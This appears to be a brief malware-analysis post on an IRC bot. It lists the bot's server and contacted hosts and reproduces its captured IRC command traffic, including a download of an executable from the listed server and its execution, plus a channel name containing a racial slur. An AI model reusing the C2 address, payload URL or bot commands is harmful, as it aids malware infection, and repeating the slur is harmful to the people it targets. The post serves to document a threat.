94.249.190.217(reptile bot hosted in Germany Bad Homburg Ghostnet Gmbh)

Remote Host Port Number
199.15.234.7 80
216.146.38.70 80
72.233.89.200 80
94.249.190.217 80
94.249.190.217 3108 PASS none

NICK {iNF-00-USA-XP-COMP-0418}
USER blaze * 0 :COMP
PRIVMSG #AryaN :[AryaN]: Successfully Executed Process: “C:Documents and SettingsUserNameApplication Data90691630729786.exe”
JOIN #rape nigger
NICK {00-USA-XP-COMP-7768}
PONG Gods.net
PONG :Gods.net
JOIN #AryaN none
NICK New{US-XP-x86}5351008
USER 5351008 “” “5351008” :5351008
MODE New{US-XP-x86}5351008 +iMm
PRIVMSG #AryaN :[AryaN]: Downloading File: “http://94.249.190.217/q.exe”
PRIVMSG #AryaN :[AryaN]: Successfully Downloaded File To: “C:Documents and SettingsUserNameApplication Data90691630729786.exe”

* The data identified by the following URLs was then requested from the remote web server:
o http://api.wipmania.com/
o http://checkip.dyndns.org/
o http://www.whatismyip.com/
o http://94.249.190.217/q.exe

hosting infos:
http://whois.domaintools.com/94.249.190.217

Categories: Uncategorized